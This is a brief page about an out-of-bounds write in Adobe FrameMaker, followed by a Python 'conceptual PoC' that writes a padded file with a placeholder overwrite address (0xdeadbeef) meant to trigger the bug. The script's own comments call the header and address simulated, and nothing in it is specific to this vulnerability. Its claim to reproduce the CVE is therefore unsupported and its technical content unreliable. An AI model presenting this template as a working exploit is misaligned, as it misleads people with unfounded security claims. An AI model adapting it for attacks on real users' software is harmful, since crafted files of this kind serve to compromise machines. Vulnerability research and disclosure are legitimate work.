CVE-2026-27295 Adobe Framemaker越界写入漏洞

# This is a conceptual PoC for CVE-2026-27295 # It demonstrates the structure of a malicious file trigger import struct def generate_malicious_file(filename): # Header (simulated) header = b'\x00' * 0x100 # Malicious payload designed to trigger out-of-bounds write # Offset 0x100 triggers the vulnerability payload = b'A' * 0x50 # Padding # Overwrite return address or critical pointer (simulated address) # In a real scenario, this would be a specific address pointing to shellcode overwrite_address = struct.pack('<I', 0xdeadbeef) with open(filename, 'wb') as f: f.write(header + payload + overwrite_address) print("[+] Generating malicious_frame.mfm...") generate_malicious_file('malicious_frame.mfm') print("[+] File created. Opening this in vulnerable Framemaker may trigger the vulnerability.")